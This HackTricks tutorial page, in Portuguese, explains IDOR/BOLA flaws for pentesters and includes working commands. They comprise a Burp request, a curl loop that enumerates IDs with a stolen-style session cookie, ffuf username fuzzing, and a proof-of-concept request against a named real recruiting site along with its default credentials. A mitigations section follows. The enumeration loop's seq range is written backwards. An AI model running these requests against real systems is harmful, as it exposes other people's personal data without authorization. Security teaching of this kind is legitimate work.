IDOR (Insecure Direct Object Reference)

Reading time: 6 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) aparece quando um endpoint web ou API divulga ou aceita um identificador controlável pelo usuário que é usado diretamente para acessar um objeto interno sem verificar se o chamador está autorizado a acessar/modificar esse objeto. A exploração bem-sucedida normalmente permite elevação de privilégios horizontal ou vertical, como leitura ou modificação de dados de outros usuários e, no pior cenário, sequestro total da conta ou exfiltração massiva de dados.

1. Identificando potenciais IDORs

  1. Procure por parâmetros que referenciam um objeto:
  • Path: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Query: ?id=42, ?invoice=2024-00001
  • Body / JSON: {"user_id": 321, "order_id": 987}
  • Headers / Cookies: X-Client-ID: 4711
  1. Prefira endpoints que leem ou atualizam dados (GET, PUT, PATCH, DELETE).
  2. Observe quando identificadores são sequenciais ou previsíveis – se seu ID é 64185742, então 64185741 provavelmente existe.
  3. Explore fluxos ocultos ou alternativos (por exemplo "membros da equipe Paradox" em páginas de login) que possam expor APIs adicionais.
  4. Use uma sessão autenticada com privilégios baixos e altere apenas o ID mantendo o mesmo token/cookie. A ausência de um erro de autorização geralmente é um sinal de IDOR.

Manipulação manual rápida (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

Enumeração automatizada (Burp Intruder / curl loop)

bash
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

Oráculo de resposta de erro para enumeração de usuário/arquivo

Quando um endpoint de download aceita tanto um username quanto um filename (e.g. /view.php?username=<u>&file=<f>), diferenças sutis nas mensagens de erro frequentemente criam um oráculo:

  • username inexistente → "User not found"
  • filename inválido mas extensão válida → "File does not exist" (às vezes também lista arquivos disponíveis)
  • extensão inválida → erro de validação

Com qualquer sessão autenticada, você pode fuzz o parâmetro username mantendo um filename benigno e filtrar pela string "user not found" para descobrir usuários válidos:

bash
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

Uma vez que nomes de usuário válidos são identificados, solicite arquivos específicos diretamente (por exemplo, /view.php?username=amanda&file=privacy.odt). Esse padrão costuma levar à divulgação não autorizada de documentos de outros usuários e credential leakage.

2. Estudo de Caso do Mundo Real – McHire Chatbot Platform (2025)

Durante uma avaliação do portal de recrutamento Paradox.ai-powered McHire, o seguinte IDOR foi descoberto:

  • Endpoint: PUT /api/lead/cem-xhr
  • Authorization: cookie de sessão do usuário para qualquer conta de teste de restaurante
  • Body parameter: {"lead_id": N} – identificador numérico sequencial de 8 dígitos

Ao diminuir lead_id, o testador recuperou candidatos arbitrários’ full PII (nome, e-mail, telefone, endereço, preferências de turno) além de um JWT do consumidor que permitia session hijacking. A enumeração do intervalo 1 – 64,185,742 expôs aproximadamente 64 milhões de registros.

Proof-of-Concept request:

bash
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

Combinada com as credenciais administrativas padrão (123456:123456) que concederam acesso à conta de teste, a vulnerabilidade resultou em uma violação crítica de dados em toda a empresa.

3. Impacto de IDOR / BOLA

  • Escalonamento horizontal – ler/atualizar/excluir dados de outros usuários.
  • Escalonamento vertical – usuário com baixos privilégios ganha funcionalidade exclusiva de admin.
  • Violação massiva de dados se os identificadores forem sequenciais (por exemplo, IDs de candidatos, faturas).
  • Sequestro de contas ao roubar tokens ou redefinir senhas de outros usuários.

4. Mitigações & Best Practices

  1. Impor autorização em nível de objeto em cada requisição (user_id == session.user).
  2. Prefira identificadores indiretos e não previsíveis (UUIDv4, ULID) em vez de IDs auto-incrementais.
  3. Realize autorização server-side, nunca confie em campos de formulário ocultos ou controles da UI.
  4. Implemente verificações RBAC / ABAC em um middleware central.
  5. Adicione rate-limiting & logging para detectar enumeração de IDs.
  6. Teste de segurança em cada novo endpoint (unit, integration, and DAST).

5. Tooling

  • BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Github projects: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

References

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks